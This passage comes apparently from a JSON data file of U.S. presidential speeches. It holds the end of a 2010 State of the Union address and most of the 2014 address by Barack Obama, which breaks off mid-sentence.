why\nwe are building a 21st century VA. And that is why Michelle has joined with\nJill Biden to forge a national commitment to support military families.Even as we prosecute two wars, we are also confronting perhaps the greatest\ndanger to the American people  the threat of nuclear weapons. I have embraced\nthe vision of John F. Kennedy and Ronald Reagan through a strategy that\nreverses the spread of these weapons, and seeks a world without them. To\nreduce our stockpiles and launchers, while ensuring our deterrent, the United\nStates and Russia are completing negotiations on the farthest-reaching arms\ncontrol treaty in nearly two decades. And at April's Nuclear Security Summit,\nwe will bring forty-four nations together behind a clear goal: securing all\nvulnerable nuclear materials around the world in four years, so that they\nnever fall into the hands of terrorists.These diplomatic efforts have also strengthened our hand in dealing with those\nnations that insist on violating international agreements in pursuit of these\nweapons. That is why North Korea now faces increased isolation, and stronger\nsanctions  sanctions that are being vigorously enforced. That is why the\ninternational community is more united, and the Islamic Republic of Iran is\nmore isolated. And as Iran's leaders continue to ignore their obligations,\nthere should be no doubt: they, too, will face growing consequences.That is the leadership that we are providing  engagement that advances the\ncommon security and prosperity of all people. We are working through the G-20\nto sustain a lasting global recovery. We are working with Muslim communities\naround the world to promote science, education and innovation. We have gone\nfrom a bystander to a leader in the fight against climate change. We are\nhelping developing countries to feed themselves, and continuing the fight\nagainst HIV/AIDS. And we are launching a new initiative that will give us the\ncapacity to respond faster and more effectively to bio-terrorism or an\ninfectious disease  a plan that will counter threats at home, and strengthen\npublic health abroad.As we have for over sixty years, America takes these actions because our\ndestiny is connected to those beyond our shores. But we also do it because it\nis right. That is why, as we meet here tonight, over 10,000 Americans are\nworking with many nations to help the people of Haiti recover and rebuild.\nThat is why we stand with the girl who yearns to go to school in Afghanistan;\nwe support the human rights of the women marching through the streets of Iran;\nand we advocate for the young man denied a job by corruption in Guinea. For\nAmerica must always stand on the side of freedom and human dignity.Abroad, America's greatest source of strength has always been our ideals. The\nsame is true at home. We find unity in our incredible diversity, drawing on\nthe promise enshrined in our Constitution: the notion that we are all created\nequal, that no matter who you are or what you look like, if you abide by the\nlaw you should be protected by it; that if you adhere to our common values you\nshould be treated no different than anyone else.We must continually renew this promise. My Administration has a Civil Rights\nDivision that is once again prosecuting civil rights violations and employment\ndiscrimination. We finally strengthened our laws to protect against crimes\ndriven by hate. This year, I will work with Congress and our military to\nfinally repeal the law that denies gay Americans the right to serve the\ncountry they love because of who they are. We are going to crack down on\nviolations of equal pay laws  so that women get equal pay for an equal day's\nwork. And we should continue the work of fixing our broken immigration system \nto secure our borders, enforce our laws, and ensure that everyone who plays by\nthe rules can contribute to our economy and enrich our nations.In the end, it is our ideals, our values, that built America  values that\nallowed us to forge a nation made up of immigrants from every corner of the\nglobe; values that drive our citizens still. Every day, Americans meet their\nresponsibilities to their families and their employers. Time and again, they\nlend a hand to their neighbors and give back to their country. They take pride\nin their labor, and are generous in spirit. These aren't Republican values or\nDemocratic values they're living by; business values or labor values. They are\nAmerican values.Unfortunately, too many of our citizens have lost faith that our biggest\ninstitutions  our corporations, our media, and yes, our government  still\nreflect these same values. Each of these institutions are full of honorable\nmen and women doing important work that helps our country prosper. But each\ntime a CEO rewards himself for failure, or a banker puts the rest of us at\nrisk for his own selfish gain, people's doubts grow. Each time lobbyists game\nthe system or politicians tear each other down instead of lifting this country\nup, we lose faith. The more that TV pundits reduce serious debates into silly\narguments, and big issues into sound bites, our citizens turn away.No wonder there's so much cynicism out there.No wonder there's so much disappointment.I campaigned on the promise of change  change we can believe in, the slogan\nwent. And right now, I know there are many Americans who aren't sure if they\nstill believe we can change  or at least, that I can deliver it.But remember this  I never suggested that change would be easy, or that I can\ndo it alone. Democracy in a nation of three hundred million people can be\nnoisy and messy and complicated. And when you try to do big things and make\nbig changes, it stirs passions and controversy. That's just how it is.Those of us in public office can respond to this reality by playing it safe\nand avoid telling hard truths. We can do what's necessary to keep our poll\nnumbers high, and get through the next election instead of doing what's best\nfor the next generation.But I also know this: if people had made that decision fifty years ago or one\nhundred years ago or two hundred years ago, we wouldn't be here tonight. The\nonly reason we are is because generations of Americans were unafraid to do\nwhat was hard; to do what was needed even when success was uncertain; to do\nwhat it took to keep the dream of this nation alive for their children and\ngrandchildren.Our administration has had some political setbacks this year, and some of them\nwere deserved. But I wake up every day knowing that they are nothing compared\nto the setbacks that families all across this country have faced this year.\nAnd what keeps me going  what keeps me fighting  is that despite all these\nsetbacks, that spirit of determination and optimism  that fundamental decency\nthat has always been at the core of the American people  lives on.It lives on in the struggling small business owner who wrote to me of his\ncompany, \"None of us,\" he said, \"are willing to consider, even slightly, that\nwe might fail.\"It lives on in the woman who said that even though she and her neighbors have\nfelt the pain of recession, \"We are strong. We are resilient. We are\nAmerican.\"It lives on in the 8-year old boy in Louisiana, who just sent me his allowance\nand asked if I would give it to the people of Haiti. And it lives on in all\nthe Americans who've dropped everything to go some place they've never been\nand pull people they've never known from rubble, prompting chants of \"U.S.A.!\nU.S.A.! U.S.A!\" when another life was saved.The spirit that has sustained this nation for more than two centuries lives on\nin you, its people.We have finished a difficult year. We have come through a difficult decade.\nBut a new year has come. A new decade stretches before us. We don't quit. I\ndon't quit. Let's seize this moment  to start anew, to carry the dream\nforward, and to strengthen our union once more.Thank you. God Bless You. And God Bless the United States of America.", 
+    "name": "Barack Obama"
+}
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+{
+    "date": "January 28, 2014", 
+    "speech": "Mr. Speaker, Mr. Vice President, Members of Congress, my fellow\nAmericans:Today in America, a teacher spent extra time with a student who needed\nit, and did her part to lift America's graduation rate to its highest\nlevel in more than three decades.An entrepreneur flipped on the lights in her tech startup, and did her\npart to add to the more than eight million new jobs our businesses have\ncreated over the past four years.An autoworker fine-tuned some of the best, most fuel-efficient cars in\nthe world, and did his part to help America wean itself off foreign oil.A farmer prepared for the spring after the strongest five-year stretch\nof farm exports in our history.  A rural doctor gave a young child the\nfirst prescription to treat asthma that his mother could afford.  A man\ntook the bus home from the graveyard shift, bone-tired but dreaming big\ndreams for his son.  And in tight-knit communities across America,\nfathers and mothers will tuck in their kids, put an arm around their\nspouse, remember fallen comrades, and give thanks for being home from a\nwar that, after twelve long years, is finally coming to an end.Tonight, this chamber speaks with one voice to the people we represent:\nit is you, our citizens, who make the state of our union strong.Here are the results of your efforts:  The lowest unemployment rate in\nover five years.  A rebounding housing market.  A manufacturing sector\nthat's adding jobs for the first time since the 1990s.  More oil\nproduced at home than we buy from the rest of the world  the first time\nthat's happened in nearly twenty years.  Our deficits  cut by more than\nhalf.  And for the first time in over a decade, business leaders around\nthe world have declared that China is no longer the world's number one\nplace to invest; America is.That's why I believe this can be a breakthrough year for America.  After\nfive years of grit and determined effort, the United States is\nbetter-positioned for the 21st century than any other nation on Earth.The question for everyone in this chamber, running through every\ndecision we make this year, is whether we are going to help or hinder\nthis progress.  For several years now, this town has been consumed by a\nrancorous argument over the proper size of the federal government.  It's\nan important debate  one that dates back to our very founding.  But\nwhen that debate prevents us from carrying out even the most basic\nfunctions of our democracy  when our differences shut down government\nor threaten the full faith and credit of the United States  then we are\nnot doing right by the American people.As President, I'm committed to making Washington work better, and\nrebuilding the trust of the people who sent us here.  I believe most of\nyou are, too.  Last month, thanks to the work of Democrats and\nRepublicans, this Congress finally produced a budget that undoes some of\nlast year's severe cuts to priorities like education.  Nobody got\neverything they wanted, and we can still do more to invest in this\ncountry's future while bringing down our deficit in a balanced way.  But\nthe budget compromise should leave us freer to focus on creating new\njobs, not creating new crises.In the coming months, let's see where else we can make progress\ntogether.  Let's make this a year of action.  That's what most Americans\nwant  for all of us in this chamber to focus on their lives, their\nhopes, their aspirations.  And what I believe unites the people of this\nnation, regardless of race or region or party, young or old, rich or\npoor, is the simple, profound belief in opportunity for all  the notion\nthat if you work hard and take responsibility, you can get ahead.Let's face it: that belief has suffered some serious blows.  Over more\nthan three decades, even before the Great Recession hit, massive shifts\nin technology and global competition had eliminated a lot of good,\nmiddle-class jobs, and weakened the economic foundations that families\ndepend on.Today, after four years of economic growth, corporate profits and stock\nprices have rarely been higher, and those at the top have never done\nbetter.  But average wages have barely budged.  Inequality has deepened.\n Upward mobility has stalled.  The cold, hard fact is that even in the\nmidst of recovery, too many Americans are working more than ever just to\nget by  let alone get ahead.  And too many still aren't working at all.Our job is to reverse these trends.  It won't happen right away, and we\nwon't agree on everything.  But what I offer tonight is a set of\nconcrete, practical proposals to speed up growth, strengthen the middle\nclass, and build new ladders of opportunity into the middle class.  Some\nrequire Congressional action, and I'm eager to work with all of you. \nBut America does not stand still  and neither will I.  So wherever and\nwhenever I can take steps without legislation to expand opportunity for\nmore American families, that's what I'm going to do.As usual, our First Lady sets a good example.  Michelle's Let's Move\npartnership with schools, businesses, and local leaders has helped bring\ndown childhood obesity rates for the first time in thirty years  an\nachievement that will improve lives and reduce health care costs for\ndecades to come.  The Joining Forces alliance that Michelle and Jill\nBiden launched has already encouraged employers to hire or train nearly\n400,000 veterans and military spouses.  Taking a page from that\nplaybook, the White House just organized a College Opportunity Summit\nwhere already, 150 universities, businesses, and nonprofits have made\nconcrete commitments to reduce inequality in access to higher education\n and help every hardworking kid go to college and succeed when they get\nto campus.  Across the country, we're partnering with mayors, governors,\nand state legislatures on issues from homelessness to marriage equality.The point is, there are millions of Americans outside Washington who\n are tired of stale political arguments, and are moving this country\n forward.  They believe, and I believe, that here in America, our\n success should depend not on accident of birth, but the strength of our\n work ethic and the scope of our dreams.  That's what drew our forebears\n here.  It's how the daughter of a factory worker is CEO of America's\n largest automaker; how the son of a barkeeper is Speaker of the House;\n how the son of a single mom can be President of the greatest nation on\n Earth.Opportunity is who we are.  And the defining project of our generation\nis to restore that promise.We know where to start: the best measure of opportunity is access to a\ngood job.  With the economy picking up speed, companies say they intend\nto hire more people this year.  And over half of big manufacturers say\nthey're thinking of insourcing jobs from abroad.So let's make that decision easier for more companies.  Both Democrats\nand Republicans have argued that our tax code is riddled with wasteful,\ncomplicated loopholes that punish businesses investing here, and reward\ncompanies that keep profits abroad.  Let's flip that equation.  Let's\nwork together to close those loopholes, end those incentives to ship\njobs overseas, and lower tax rates for businesses that create jobs here\nat home.Moreover, we can take the money we save with this transition to tax\nreform to create jobs rebuilding our roads, upgrading our ports,\nunclogging our commutes  because in today's global economy, first-class\njobs gravitate to first-class infrastructure.  We'll need Congress to\nprotect more than three million jobs by finishing transportation and\nwaterways bills this summer.  But I will act on my own to slash\nbureaucracy and streamline the permitting process for key projects, so\nwe can get more construction workers on the job as fast as possible.We also have the chance, right now, to beat other countries in the race\nfor the next wave of high-tech manufacturing jobs.  My administration\nhas launched two hubs for high-tech manufacturing in Raleigh and\nYoungstown, where we've connected businesses to research universities\nthat can help America lead the world in advanced technologies.  Tonight,\nI'm announcing we'll launch six more this year.  Bipartisan bills in\nboth houses could double the number of these hubs and the jobs they\ncreate.  So get those bills to my desk and put more Americans back to\nwork.Let's do more to help the entrepreneurs and small business owners who\ncreate most new jobs in America.  Over the past five years, my\nadministration has made more loans to small business owners than any\nother.  And when ninety-eight percent of our exporters are small\nbusinesses, new trade partnerships with Europe and the Asia-Pacific will\nhelp them create more jobs.  We need to work together on tools like\nbipartisan trade promotion authority to protect our workers, protect our\nenvironment, and open new markets to new goods stamped \"Made in the\nUSA.\"  China and Europe aren't standing on the sidelines.  Neither\nshould we.We know that the nation that goes all-in on innovation today will own\nthe global economy tomorrow.  This is an edge America cannot surrender. \nFederally-funded research helped lead to the ideas and inventions behind\nGoogle and smartphones.  That's why Congress should undo the damage done\nby last year's cuts to basic research so we can unleash the next great\nAmerican discovery  whether it's vaccines that stay ahead of\ndrug-resistant bacteria, or paper-thin material that's stronger than\nsteel.  And let's pass a patent reform bill that allows our businesses\nto stay focused on innovation, not costly, needless litigation.Now, one of the biggest factors in bringing more jobs back is our\ncommitment to American energy.  The all-of-the-above energy strategy I\nannounced a few years ago is working, and today, America is closer to\nenergy independence than we've been in decades.One of the reasons why is natural gas  if extracted safely, it's the\nbridge fuel that can power our economy with less of the carbon pollution\nthat causes climate change.  Businesses plan to invest almost $100\nbillion in new factories that use natural gas.  I'll cut red tape to\nhelp states get those factories built, and this Congress can help by\nputting people to work building fueling stations that shift more cars\nand trucks from foreign oil to American natural gas.  My administration\nwill keep working with the industry to sustain production and job growth\nwhile strengthening protection of our air, our water, and our\ncommunities.  And while we're at it, I'll use my authority to protect\nmore of our pristine federal lands for future generations.It's not just oil and natural gas production that's booming; we're\nbecoming a global leader in solar, too.  Every four minutes, another\nAmerican home or business goes solar; every panel pounded into place by\na worker whose job can't be outsourced.  Let's continue that progress\nwith a smarter tax policy that stops giving $4 billion a year to fossil\nfuel industries that don't need it, so that we can invest more in fuels\nof the future that do.And even as we've increased energy production, we've partnered with\nbusinesses, builders, and local communities to reduce the energy we\nconsume.  When we rescued our automakers, for example, we worked with\nthem to set higher fuel efficiency standards for our cars.  In the\ncoming months, I'll build on that success by setting new standards for\nour trucks, so we can keep driving down oil imports and what we pay at\nthe pump.Taken together, our energy policy is creating jobs and leading to a\ncleaner, safer planet.  Over the past eight years, the United States has\nreduced our total carbon pollution more than any other nation on Earth. \nBut we have to act with more urgency  because a changing climate is\nalready harming western communities struggling with drought, and coastal\ncities dealing with floods.  That's why I directed my administration to\nwork with states, utilities, and others to set new standards on the\namount of carbon pollution our power plants are allowed to dump into the\nair.  The shift to a cleaner energy economy won't happen overnight, and\nit will require tough choices along the way.  But the debate is settled.\n Climate change is a fact.  And when our children's children look us in\nthe eye and ask if we did all we could to leave them a safer, more\nstable world, with new sources of energy, I want us to be able to say\nyes, we did.Finally, if we are serious about economic growth, it is time to heed the\ncall of business leaders, labor leaders, faith leaders, and law\nenforcement  and fix our broken immigration system.  Republicans and\nDemocrats in the Senate have acted.  I know that members of both parties\nin the House want to do the same.  Independent economists say\nimmigration reform will grow our economy and shrink our deficits by\nalmost $1 trillion in the next two decades.  And for good reason: when\npeople come here to fulfill their dreams  to study, invent, and\ncontribute to our culture  they make our country a more attractive\nplace for businesses to locate and create jobs for everyone.  So let's\nget immigration reform done this year.The ideas I've outlined so far can speed up growth and create more jobs.\n But in this rapidly-changing economy, we have to make sure that every\nAmerican has the skills to fill those jobs.The good news is, we know how to do it.  Two years ago, as the auto\nindustry came roaring back, Andra Rush opened up a manufacturing firm in\nDetroit.  She knew that Ford needed parts for the best-selling truck in\nAmerica, and she knew how to make them.  She just needed the workforce. \nSo she dialed up what we call an American Job Center  places where\nfolks can walk in to get the help or training they need to find a new\njob, or better job.  She was flooded with new workers.  And today,\nDetroit Manufacturing Systems has more than 700 employees.What Andra and her employees experienced is how it should be for every\nemployer  and every job seeker.  So tonight, I've asked Vice President\nBiden to lead an across-the-board reform of America's training programs\nto make sure they have one mission: train Americans with the skills\nemployers need, and match them to good jobs that need to be filled right\nnow.  That means more on-the-job training, and more apprenticeships that\nset a young worker on an upward trajectory for life.  It means\nconnecting companies to community colleges that can help design training\nto fill their specific needs.  And if Congress wants to help, you can\nconcentrate funding on proven programs that connect more ready-to-work\nAmericans with ready-to-be-filled jobs.I'm also convinced we can help Americans return to the workforce faster\n by reforming unemployment insurance so that it's more effective in\n today's economy.  But first, this Congress needs to restore the\n unemployment insurance you just let expire for 1.6 million people.Let me tell you why.Misty DeMars is a mother of two young boys. She'd been steadily employed\nsince she was a teenager.  She put herself through college.  She'd never\ncollected unemployment benefits.  In May, she and her husband used their\nlife savings to buy their first home.  A week later, budget cuts claimed\nthe job she loved.  Last month, when their unemployment insurance was\ncut off, she sat down and wrote me a letter  the kind I get every day. \n\"We are the face of the unemployment crisis,\" she wrote.  \"I am not\ndependent on the governmentOur country depends on people like us who\nbuild careers, contribute to societycare about our neighborsI am\nconfident that in time I will find a jobI will pay my taxes, and we\nwill raise our children in their own home in the community we love. \nPlease give us this chance.\"Congress, give these hardworking, responsible Americans that chance. \nThey need our help, but more important, this country needs them in the\ngame.  That's why I've been asking CEOs to give more long-term\nunemployed workers a fair shot at that new job and new chance to support\ntheir families; this week, many will come to the White House to make\nthat commitment real.  Tonight, I ask every business leader in America\nto join us and to do the same  because we are stronger when America\nfields a full team.Of course, it's not enough to train today's workforce.  We also have to\n prepare tomorrow's workforce, by guaranteeing every child access to a\n world-class education.Estiven Rodriguez couldn't speak a word of English when he moved to New\nYork City at age nine.  But last month, thanks to the support of great\nteachers and an innovative tutoring program, he led a march of his\nclassmates  through a crowd of cheering parents and neighbors  from\ntheir high school to the post office, where they mailed off their\ncollege applications.  And this son of a factory worker just found out\nhe's going to college this fall.Five years ago, we set out to change the odds for all our kids.  We\nworked with lenders to reform student loans, and today, more young\npeople are earning college degrees than ever before.  Race to the Top,\nwith the help of governors from both parties, has helped states raise\nexpectations and performance.  Teachers and principals in schools from\nTennessee to Washington, D.C. are making big strides in preparing\nstudents with skills for the new economy  problem solving, critical\nthinking, science, technology, engineering, and math.  Some of this\nchange is hard.  It requires everything from more challenging\ncurriculums and more demanding parents to better support for teachers\nand new ways to measure how well our kids think, not how well they can\nfill in a bubble on a test.  But it's worth it  and it's working.The problem is we're still not reaching enough kids, and we're not\nreaching them in time.  That has to change.Research shows that one of the best investments we can make in a child's\nlife is high-quality early education.  Last year, I asked this Congress\nto help states make high-quality pre-K available to every four year-old.\n As a parent as well as a President, I repeat that request tonight. But\nin the meantime, thirty states have raised pre-k funding on their own. \nThey know we can't wait.  So just as we worked with states to reform our\nschools, this year, we'll invest in new partnerships with states and\ncommunities across the country in a race to the top for our youngest\nchildren.  And as Congress decides what it's going to do, I'm going to\npull together a coalition of elected officials, business leaders, and\nphilanthropists willing to help more kids access the high-quality pre-K\nthey need.Last year, I also pledged to connect 99 percent of our students to\nhigh-speed broadband over the next four years.  Tonight, I can announce\nthat with the support of the FCC and companies like Apple, Microsoft,\nSprint, and Verizon, we've got a down payment to start connecting more\nthan 15,000 schools and twenty million students over the next two years,\nwithout adding a dime to the deficit.We're working to redesign high schools and partner them with colleges\nand employers that offer the real-world education and hands-on training\nthat can lead directly to a job and career.  We're shaking up our system\nof higher education to give parents more information, and colleges more\nincentives to offer better value, so that no middle-class kid is priced\nout of a college education.  We're offering millions the opportunity to\ncap their monthly student loan payments to ten percent of their income,\nand I want to work with Congress to see how we can help even more\nAmericans who feel trapped by student loan debt.  And I'm reaching out\nto some of America's leading foundations and corporations on a new\ninitiative to help more young men of color facing tough odds stay on\ntrack and reach their full potential.The bottom line is, Michelle and I want every child to have the same\nchance this country gave us.  But we know our opportunity agenda won't\nbe complete  and too many young people entering the workforce today\nwill see the American Dream as an empty promise  unless we do more to\nmake sure our economy honors the dignity of work, and hard work pays off\nfor every single American.Today, women make up about half our workforce.  But they still make 77\ncents for every dollar a man earns.  That is wrong, and in 2014, it's an\nembarrassment. A woman deserves equal pay for equal work.  She deserves\nto have a baby without sacrificing her job.  A mother deserves a day off\nto care for a sick child or sick parent without running into hardship \nand you know what, a father does, too.  It's time to do away with\nworkplace policies that belong in a \"Mad Men\" episode.  This year, let's\nall come together  Congress, the White House, and businesses from Wall\nStreet to Main Street  to give every woman the opportunity she\ndeserves.  Because I firmly believe when women succeed, America\nsucceeds.Now, women hold a majority of lower-wage jobs  but they're not the only\nones stifled by stagnant wages.  Americans understand that some people\nwill earn more than others, and we don't resent those who, by virtue of\ntheir efforts, achieve incredible success.  But Americans overwhelmingly\nagree that no one who works full time should ever have to raise a family\nin poverty.In the year since I asked this Congress to raise the minimum wage, five\nstates have passed laws to raise theirs.  Many businesses have done it\non their own.  Nick Chute is here tonight with his boss, John Soranno. \nJohn's an owner of Punch Pizza in Minneapolis, and Nick helps make the\ndough.  Only now he makes more of it: John just gave his employees a\nraise, to ten bucks an hour  a decision that eased their financial\nstress and boosted their morale.Tonight, I ask more of America's business leaders to follow John's lead\nand do what you can to raise your employees' wages.  To every mayor,\ngovernor, and state legislator in America, I say, you don't have to wait\nfor Congress to act; Americans will support you if you take this on. \nAnd as a chief executive, I intend to lead by example. Profitable\ncorporations like Costco see higher wages as the smart way to boost\nproductivity and reduce turnover. We should too.  In the coming weeks, I\nwill issue an Executive Order requiring federal contractors to pay their\nfederally-funded employees a fair wage of at least $10.10 an hour \nbecause if you cook our troops' meals or wash their dishes, you\nshouldn't have to live in poverty.Of course, to reach millions more, Congress needs to get on board.\nToday, the federal minimum wage is worth about twenty percent less than\nit was when Ronald Reagan first stood here.  Tom Harkin and George\nMiller have a bill to fix that by lifting the minimum wage to $10.10. \nThis will help families.  It will give businesses customers with more\nmoney to spend.  It doesn't involve any new bureaucratic program.  So\njoin the rest of the country.  Say yes.  Give America a raise.There are other steps we can take to help families make ends meet, and\nfew are more effective at reducing inequality and helping families pull\nthemselves up through hard work than the Earned Income Tax Credit. \nRight now, it helps about half of all parents at some point.  But I\nagree with Republicans like Senator Rubio that it doesn't do enough for\nsingle workers who don't have kids.  So let's work together to\nstrengthen the credit, reward work, and help more Americans get ahead.Let's do more to help Americans save for retirement. Today, most workers\ndon't have a pension.  A Social Security check often isn't enough on its\nown.  And while the stock market has doubled over the last five years,\nthat doesn't help folks who don't have 401ks.  That's why, tomorrow, I\nwill direct the Treasury to create a new way for working Americans to\nstart their own retirement savings: MyRA. It's a new savings bond that\nencourages folks to build a nest egg.  MyRA guarantees a decent return\nwith no risk of losing what you put in.  And if this Congress wants to\nhelp, work with me to fix an upside-down tax code that gives big tax\nbreaks to help the wealthy save, but does little to nothing for\nmiddle-class Americans.  Offer every American access to an automatic IRA\non the job, so they can save at work just like everyone in this chamber\ncan.  And since the most important investment many families make is\ntheir home, send me legislation that protects taxpayers from footing the\nbill for a housing crisis ever again, and keeps the dream of\nhomeownership alive for future generations of Americans.One last point on financial security.  For decades, few things exposed\nhard-working families to economic hardship more than a broken health\ncare system.  And in case you haven't heard, we're in the process of\nfixing that.A pre-existing condition used to mean that someone like Amanda Shelley,\na physician assistant and single mom from Arizona, couldn't get health\ninsurance.  But on January 1st, she got covered.  On January 3rd, she\nfelt a sharp pain.  On January 6th, she had emergency surgery.  Just one\nweek earlier, Amanda said, that surgery would've meant bankruptcy.That's what health insurance reform is all about  the peace of mind\nthat if misfortune strikes, you don't have to lose everything.Already, because of the Affordable Care Act, more than three million\nAmericans under age 26 have gained coverage under their parents' plans.More than nine million Americans have signed up for private health\ninsurance or Medicaid coverage.And here's another number: zero.  Because of this law, no American can\never again be dropped or denied coverage for a preexisting condition\nlike asthma, back pain, or cancer. No woman can ever be charged more\njust because she's a woman.  And we did all this while adding years to\nMedicare's finances, keeping Medicare premiums flat, and lowering\nprescription costs for millions of seniors.Now, I don't expect to convince my Republican friends on the merits of\nthis law.  But I know that the American people aren't interested in\nrefighting old battles.  So again, if you have specific plans to cut\ncosts, cover more people, and increase choice  tell America what you'd\ndo differently.  Let's see if the numbers add up.  But let's not have\nanother forty-something votes to repeal a law that's already helping\nmillions of Americans like Amanda.  The first forty were plenty.  We got\nit.  We all owe it to the American people to say what we're for, not\njust what we're against.And if you want to know the real impact this law is having, just talk to\nGovernor Steve Beshear of Kentucky, who's here tonight.  Kentucky's not\nthe most liberal part of the country, but he's like a man possessed when\nit comes to covering his commonwealth's families.  \"They are our friends\nand neighbors,\" he said.  \"They are people we shop and go to church\nwithfarmers out on the tractorsgrocery clerksthey are people who go\nto work every morning praying they don't get sick.  No one deserves to\nlive that way.\"Steve's right.  That's why, tonight, I ask every American who knows\nsomeone without health insurance to help them get covered by March 31st.\n Moms, get on your kids to sign up.  Kids, call your mom and walk her\nthrough the application.  It will give her some peace of mind  plus,\nshe'll appreciate hearing from you.  After all, that's the spirit that\nhas always moved this nation forward.  It's the spirit of citizenship \nthe recognition that through hard work and responsibility, we can pursue\nour individual dreams, but still come together as one American family to\nmake sure the next generation can pursue its dreams as well. Citizenship\nmeans standing up for everyone's right to vote.  Last year, part of the\nVoting Rights Act was weakened.  But conservative Republicans and\nliberal Democrats are working together to strengthen it; and the\nbipartisan commission I appointed last year has offered reforms so that\nno one has to wait more than a half hour to vote.  Let's support these\nefforts.  It should be the power of our vote, not the size of our bank\naccount, that drives our democracy. Citizenship means standing up for\nthe lives that gun violence steals from us each day.  I have seen the\ncourage of parents, students, pastors, and police officers all over this\ncountry who say \"we are not afraid,\" and I intend to keep trying, with\nor without Congress, to help stop more tragedies from visiting innocent\nAmericans in our movie theaters, shopping malls, or schools like Sandy\nHook. Citizenship demands a sense of common cause; participation in the\nhard work of self-government; an obligation to serve to our communities.\n And I know this chamber agrees that few Americans give more to their\ncountry than our diplomats and the men and women of the United States\nArmed Forces. Tonight, because of the extraordinary troops and civilians\nwho risk and lay down their lives to keep us free, the United States is\nmore secure.  When I took office, nearly 180,000 Americans were serving\nin Iraq and Afghanistan.  Today, all our troops are out of Iraq.  More\nthan 60,000 of our troops have already come home from Afghanistan.  With\nAfghan forces now in the lead for their own security, our troops have\nmoved to a support role. Together with our allies, we will complete our\nmission there by the end of this year, and America's longest war will\nfinally be over. After 2014, we will support a unified Afghanistan as it\ntakes responsibility for its own future.  If the Afghan government signs\na security agreement that we have negotiated, a small force of Americans\ncould remain in Afghanistan with NATO allies to carry out two narrow\nmissions: training and assisting Afghan forces, and counterterrorism\noperations to pursue any remnants of al Qaeda.  For while our\nrelationship with Afghanistan will change, one thing will not: our\nresolve that terrorists do not launch attacks against our country. The\nfact is, that danger remains.  While we have put al Qaeda's core\nleadership on a path to defeat, the threat has evolved, as al Qaeda\naffiliates and other extremists take root in different parts of the\nworld. In Yemen, Somalia, Iraq, and Mali, we have to keep working with\npartners to disrupt and disable these networks. In Syria, we'll support\nthe opposition that rejects  the agenda of terrorist networks. Here at\nhome, we'll keep strengthening our defenses, and combat new threats like\ncyberattacks.  And as we reform our defense budget, we have to keep\nfaith with our men and women in uniform, and invest in the capabilities\nthey need to succeed in future missions. We have to remain vigilant. \nBut I strongly believe our leadership and our security cannot depend on\nour military alone. As Commander-in-Chief, I have used force when needed\nto protect the American people, and I will never hesitate to do so as\nlong as I hold this office.  But I will not send our troops into harm's\nway unless it's truly necessary; nor will I allow our sons and daughters\nto be mired in open-ended conflicts.  We must fight the battles that\nneed to be fought, not those that terrorists prefer from us \nlarge-scale deployments that drain our strength and may ultimately feed\nextremism. So, even as we aggressively pursue terrorist networks \nthrough more targeted efforts and by building the capacity of our\nforeign partners  America must move off a permanent war footing. \nThat's why I've imposed prudent limits on the use of drones  for we\nwill not be safer if people abroad believe we strike within their\ncountries without regard for the consequence.  That's why, working with\nthis Congress, I will reform our surveillance programs  because the\nvital work of our intelligence community depends on public confidence,\nhere and abroad, that the privacy of ordinary people is not being\nviolated.  And with the Afghan war ending, this needs to be the year\nCongress lifts the remaining restrictions on detainee transfers and we\nclose the prison at Guantanamo Bay  because we counter terrorism not\njust through intelligence and military action, but by remaining true to\nour Constitutional ideals, and setting an example for the rest of the\nworld. You see, in a world of complex threats, our security and\nleadership depends on all elements of our power  including strong and\nprincipled diplomacy.  American diplomacy has rallied more than fifty\ncountries to prevent nuclear materials from falling into the wrong\nhands, and allowed us to reduce our own reliance on Cold War stockpiles.\n American diplomacy, backed by the threat of force, is why Syria's\nchemical weapons are being eliminated, and we will continue to work with\nthe international community to usher in the future the Syrian people\ndeserve  a future free of dictatorship, terror and fear. As we speak,\nAmerican diplomacy is supporting Israelis and Palestinians as they\nengage in difficult but necessary talks to end the conflict there; to\nachieve dignity and an independent state for Palestinians, and lasting\npeace and security for the State of Israel  a Jewish state that knows\nAmerica will always be at their side. And it is American diplomacy,\nbacked by pressure, that has halted the progress of Iran's nuclear\nprogram  and rolled parts of that program back  for the very first\ntime in a decade.  As we gather here tonight, Iran has begun to\neliminate its stockpile of higher levels of enriched uranium.  It is not\ninstalling advanced centrifuges.  Unprecedented inspections help the\nworld verify, every day, that Iran is not building a bomb.  And with our\nallies and partners, we're engaged in negotiations to see if we can\npeacefully achieve a goal we all share: preventing Iran from obtaining a\nnuclear weapon. These negotiations will be difficult.  They may not\nsucceed.  We are clear-eyed about Iran's support for terrorist\norganizations like Hezbollah, which threaten our allies; and the\nmistrust between our nations cannot be wished away.  But these\nnegotiations do not rely on trust; any long-term deal we agree to must\nbe based on verifiable action that convinces us and the international\ncommunity that Iran is not building a nuclear bomb.  If John F. Kennedy\nand Ronald Reagan could negotiate with the Soviet Union, then surely a\nstrong and confident America can negotiate with less powerful\nadversaries today. The sanctions that we put in place helped make this\nopportunity possible.  But let me be clear: if this Congress sends me a\nnew sanctions bill now that threatens to derail these talks, I will veto\nit.  For the sake of our national security, we must give diplomacy a\nchance to succeed.  If Iran's leaders do not seize this opportunity,\nthen I will be the first to call for more sanctions, and stand ready to\nexercise all options to make sure Iran does not build a nuclear weapon. \nBut if Iran's leaders do seize the chance, then Iran could take an\nimportant step to rejoin the community of nations, and we will have\nresolved one of the leading security challenges of our time without the\nrisks of war. Finally, let's remember that our leadership is defined not\njust by our defense against threats, but by the enormous opportunities\nto do good and promote understanding around the globe  to forge greater\ncooperation, to expand new markets, to free people from fear and want. \nAnd no one is better positioned to take advantage of those opportunities\nthan America.  Our alliance with Europe remains the strongest the world\nhas ever known.  From Tunisia to Burma, we're supporting those who are\nwilling to do the hard work of building democracy.  In Ukraine, we stand\nfor the principle that all people have the right to express themselves\nfreely and peacefully, and have a say in their country's future.  Across\nAfrica, we're bringing together businesses and governments to double\naccess to electricity and help end extreme poverty.  In the Americas, we\nare building new ties of commerce, but we're also expanding cultural and\neducational exchanges among young people.  And we will continue to focus\non the Asia-Pacific, where we support our allies, shape a future of\ngreater security and prosperity, and extend a hand to those devastated\nby disaster  as we did in the Philippines, when our Marines and\ncivilians rushed to aid those battered by a typhoon, and were greeted\nwith words like, \"We will never forget your kindness\" and \"God bless\nAmerica!\" We do these things because they help promote our long-term\nsecurity.  And we do them because we believe in the inherent dignity and\nequality of every human being, regardless of race or religion, creed or\nsexual orientation.  And next week, the world will see one expression of\nthat commitment  when Team USA marches the red, white, and blue into\nthe Olympic Stadium  and brings home the gold. My fellow 